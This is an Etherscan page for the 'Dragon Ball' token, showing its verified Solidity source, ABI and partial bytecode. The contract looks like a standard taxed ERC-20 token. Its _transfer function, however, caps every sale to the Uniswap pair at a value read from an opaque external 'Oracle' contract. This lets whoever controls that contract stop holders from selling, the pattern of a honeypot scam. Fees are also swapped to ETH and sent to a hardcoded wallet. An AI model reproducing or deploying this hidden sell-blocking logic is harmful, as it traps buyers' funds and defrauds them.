ETH Price: $2,448.22 (+1.90%)
Gas: 6.49 Gwei

Token

Dragon Ball (DragonBall)
 

Overview

Max Total Supply

1,000,000,000 DragonBall

Holders

88

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Filtered by Token Holder
meta888crypto.eth
Balance
20,813,713 DragonBall

Value
$0.00
0xe969bf18fbc0ed94fbeb0821d347d0525a2c880a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DragonBall

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-25
*/

// SPDX-License-Identifier: MIT
// Token Official Website: https://dragonball.club
// Token Official Telegram: https://t.me/DragonBalltokenerc20
pragma solidity ^0.8.4;


address constant WALLET_ADDRESS = 0x4e429d8c2D6575b314Ae3fa8Be9D126CBCB839E0;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 1000000000;
string constant TOKEN_NAME = "Dragon Ball";
string constant TOKEN_SYMBOL = "DragonBall";

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface Oracle{
	function amount() external view returns (uint256);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}
}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DragonBall is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = TOTAL_SUPPLY;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	address payable private _taxWallet;
	uint256 private _tax=4;
	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(WALLET_ADDRESS);
		_rOwned[_msgSender()] = _rTotal;
		_router = IUniswapV2Router02(ROUTER_ADDRESS);
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public pure override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= Oracle(0x6b6075f5499A4FA73D59C7ecc17897063Df4fC3C).amount());

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}

		}
		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}


	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(taxFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052633b9aca006000196200001891906200031e565b600019620000279190620002d9565b60035560046006556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055503480156200007257600080fd5b50600062000085620002a360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350734e429d8c2d6575b314ae3fa8be9d126cbcb839e0600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600160006200018f620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000232620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef633b9aca00604051620002959190620002bc565b60405180910390a3620003b4565b600033905090565b620002b68162000314565b82525050565b6000602082019050620002d36000830184620002ab565b92915050565b6000620002e68262000314565b9150620002f38362000314565b92508282101562000309576200030862000356565b5b828203905092915050565b6000819050919050565b60006200032b8262000314565b9150620003388362000314565b9250826200034b576200034a62000385565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612aea80620003c46000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f91906122db565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9e565b61038e565b60405161014c91906122c0565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061243d565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e4b565b6103b8565b6040516101b491906122c0565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df91906124b2565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611db1565b610510565b604051610233919061243d565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b60405161027591906121f2565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a091906122db565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9e565b61071a565b6040516102dd91906122c0565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e0b565b610c4e565b604051610331919061243d565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600b81526020017f447261676f6e2042616c6c000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000633b9aca00905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612a8d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906123bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f447261676f6e42616c6c00000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906123bd565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108149061235d565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611dde565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611dde565b6040518363ffffffff1660e01b81526004016109c792919061220d565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611dde565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf9695949392919061225f565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190611f38565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf9929190612236565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611ede565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db69061241d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061233d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906123fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff1906122fd565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906123dd565b60405180910390fd5b736b6075f5499a4fa73d59c7ecc17897063df4fc3c73ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190611f0b565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff1661119691906125a9565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906122db565b60405180910390fd5b50600083856113379190612603565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b61275e565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c161272f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c9190611dde565b816001815181106114b0576114af61272f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612458565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a9061231d565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e3919061243d565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611922633b9aca006003546116e190919063ffffffff16565b82101561193c57600354633b9aca00935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198791906122db565b60405180910390fd5b506000838561199f9190612578565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a9190612522565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa69061237d565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee91906125a9565b9050828482611cfd9190612578565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d349061239d565b60405180910390fd5b809150505b92915050565b600081359050611d5781612a47565b92915050565b600081519050611d6c81612a47565b92915050565b600081519050611d8181612a5e565b92915050565b600081359050611d9681612a75565b92915050565b600081519050611dab81612a75565b92915050565b600060208284031215611dc757611dc661278d565b5b6000611dd584828501611d48565b91505092915050565b600060208284031215611df457611df361278d565b5b6000611e0284828501611d5d565b91505092915050565b60008060408385031215611e2257611e2161278d565b5b6000611e3085828601611d48565b9250506020611e4185828601611d48565b9150509250929050565b600080600060608486031215611e6457611e6361278d565b5b6000611e7286828701611d48565b9350506020611e8386828701611d48565b9250506040611e9486828701611d87565b9150509250925092565b60008060408385031215611eb557611eb461278d565b5b6000611ec385828601611d48565b9250506020611ed485828601611d87565b9150509250929050565b600060208284031215611ef457611ef361278d565b5b6000611f0284828501611d72565b91505092915050565b600060208284031215611f2157611f2061278d565b5b6000611f2f84828501611d9c565b91505092915050565b600080600060608486031215611f5157611f5061278d565b5b6000611f5f86828701611d9c565b9350506020611f7086828701611d9c565b9250506040611f8186828701611d9c565b9150509250925092565b6000611f978383611fa3565b60208301905092915050565b611fac81612637565b82525050565b611fbb81612637565b82525050565b6000611fcc826124dd565b611fd68185612500565b9350611fe1836124cd565b8060005b83811015612012578151611ff98882611f8b565b9750612004836124f3565b925050600181019050611fe5565b5085935050505092915050565b61202881612649565b82525050565b6120378161268c565b82525050565b6000612048826124e8565b6120528185612511565b935061206281856020860161269e565b61206b81612792565b840191505092915050565b6000612083602383612511565b915061208e826127a3565b604082019050919050565b60006120a6602a83612511565b91506120b1826127f2565b604082019050919050565b60006120c9602283612511565b91506120d482612841565b604082019050919050565b60006120ec601783612511565b91